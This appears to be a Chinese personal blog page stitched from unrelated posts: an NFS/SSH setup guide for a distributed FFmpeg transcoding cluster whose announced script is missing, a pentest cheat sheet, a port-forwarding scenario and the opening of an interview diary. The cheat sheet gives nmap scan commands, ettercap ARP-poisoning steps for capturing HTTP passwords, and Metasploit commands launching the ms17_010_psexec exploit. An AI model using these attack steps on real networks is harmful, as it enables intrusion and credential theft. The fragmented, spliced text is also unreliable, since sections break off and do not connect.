0%

代码已上传到GitHub。项目链接: https://github.com/chn-lee-yumi/distributed_ffmpeg_transcoding_cluster

思路

  • 分布式转码集群
  • 暂时的目标: FFMPEG实现任意格式转MP4。
  • 1控制节点,3计算节点。
  • 存储暂时采用单节点的共享存储(NFS),可尝试分布式存储。
  • 所有节点对CPU架构无要求,暂时用x86进行测试,后期加入ARM架构。
  • 控制节点和计算节点通信暂时使用SSH。
  • 思路: 控制节点收到请求,将文件传到共享存储,计算视频总帧数,然后发送命令给计算节点,不同节点按照各自权重(手动设置,可加性能测试功能)处理一定的连续帧,输出到共享存储,全部节点转码完毕后交由存储节点进行合并,并清理共享临时文件,最后控制节点返回转码后的视频链接。

安装与配置

  • 测试组网:三台公网VPS cn.gcc.ac.cn, hk.gcc.ac.cn, us.gcc.ac.cn
  • 存储节点:hk.gcc.ac.cn
  • 控制节点:cn.gcc.ac.cn
  • 计算节点:cn.gcc.ac.cn,hk.gcc.ac.cn,us.gcc.ac.cn

存储节点

  • 存储节点系统是Debian
# 安装NFS
apt-get install nfs-kernel-server
# 新建共享文件夹,用于放渲染前上传的文件、渲染后的分片文件、渲染后的完整文件。
mkdir -p /srv/distributed_ffmpeg_transcoding_shared_files
mkdir /srv/distributed_ffmpeg_transcoding_shared_files/upload
mkdir /srv/distributed_ffmpeg_transcoding_shared_files/tmp
mkdir /srv/distributed_ffmpeg_transcoding_shared_files/download
chmod -R 777 /srv/distributed_ffmpeg_transcoding_shared_files
  • 修改文件/etc/exports,将目录共享出去
  • upload目录,控制节点有读写权限,计算节点有只读权限
  • tmp,计算节点有读写权限
  • download目录,存储计算节点有读写权限(由于这里只有单节点存储,就不需要共享了)
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/srv/distributed_ffmpeg_transcoding_shared_files/upload cn.gcc.ac.cn(ro,insecure) us.gcc.ac.cn(ro,insecure)
/srv/distributed_ffmpeg_transcoding_shared_files/tmp cn.gcc.ac.cn(rw,insecure) us.gcc.ac.cn(rw,insecure)
  • 注:特别注意要用insecure,否则会挂载不上,显示access denied。这个坑了我好久。
  • 修改完后用exportfs -arv生效。可以使用showmount -e查看。

计算节点

# 新建目录
mkdir -p /srv/distributed_ffmpeg_transcoding_shared_files/upload
mkdir -p /srv/distributed_ffmpeg_transcoding_shared_files/tmp
# 挂载NFS,这里只是临时挂载,可以修改fstab或开机启动脚本进行自动挂载
mount hk.gcc.ac.cn:/srv/distributed_ffmpeg_transcoding_shared_files/upload /srv/distributed_ffmpeg_transcoding_shared_files/upload
mount hk.gcc.ac.cn:/srv/distributed_ffmpeg_transcoding_shared_files/tmp /srv/distributed_ffmpeg_transcoding_shared_files/tmp
# 安装ffmpeg
apt-get install ffmpeg
  • 注:现在jessie要在source.list添加deb http://ftp.debian.org/debian jessie-backports main才能找到这个包。

控制节点

# 生成ssh公钥并拷贝到计算节点
ssh-keygen -t rsa
ssh-copy-id -i ~/.ssh/id_rsa.pub hk.gcc.ac.cn # 拷贝公钥到计算节点
ssh-copy-id -i ~/.ssh/id_rsa.pub us.gcc.ac.cn -p 10022 # 拷贝公钥到计算节点,这个节点的ssh端口是10022
# 创建并挂载upload目录
mkdir -p /srv/distributed_ffmpeg_transcoding_shared_files/upload
mount hk.gcc.ac.cn:/srv/distributed_ffmpeg_transcoding_shared_files/upload /srv/distributed_ffmpeg_transcoding_shared_files/upload

保存下面这个脚本并加执行权限,名字随意,我保存为dffmpeg.sh。

NMAP扫描

中文文档:http://www.nmap.com.cn/doc/manual.shtm

nmap # 帮助 -h可省略
nmap 192.168.1.1 # 最简单的命令
nmap -v 192.168.1.1 # 提高输出信息的详细度
nmap -vv 192.168.1.1 # 更详细
nmap -A 192.168.1.1 # 启用了操作系统检测(-O)和版本扫描(-sV),以后会增加更多的功能
nmap -p 1-1024 192.168.1.1 # 只扫描1-1024端口
nmap -p 1-1024 -A 192.168.209.0/24 # 扫描192.168.209.0/24网段主机的1-1024端口,同时启用系统检测和版本扫描

ARP欺骗获取账号密码(ARP欺骗和MITM攻击)

ettercap -G # 启用ettercap的GUI
  • Sniff - Unified sniffing - 选择网卡(一般eth0) - 确定
  • Hosts - Host List - 选择两个目标(一般是目标主机和网关)并添加到Target 1/2
  • Mitm - Arp poisoning - 勾选Sniff remote connections - OK
  • HTTP账号密码会自动抓取并显示
  • View - Connections
# 其它工具和命令
arpspoof

MSF入侵主机

msfupdate # 更新msf
msfconsole # 启动msf
help # 帮助
search ms17-010 # 查找ms17-010相关的模块
use exploit/windows/smb/ms17_010_psexec # 使用模块 exploit/windows/smb/ms17_010_psexec
show options # 显示选项
set RHOST 192.168.209.129 # 设置RHOST的值为192.168.209.129
exploit # 发起攻击

其它资料:https://blog.csdn.net/qq_29701419/article/details/48975769

场景

我想把家里监控的80端口映射到我的VPS的80端口上,从而能够通过访问VPS来访问家里的监控。

路由器是极路由,已开启SSH。

监控IP为10.0.0.10,端口80。

前言

面试前在牛客网翻了好久,没找到网易运维开发的面经……网上找到一份面试题目: 网易2014校招-运维开发工程师 。还是有一点点用的。

4月11日下午的面试,我4月10日下午从广州飞过去的,4月12日早上飞回来。网易报销600块路费,多的我就当旅游费了……吐槽一下南航,机舱好热……28°C……这是人生第一、二次自己坐飞机。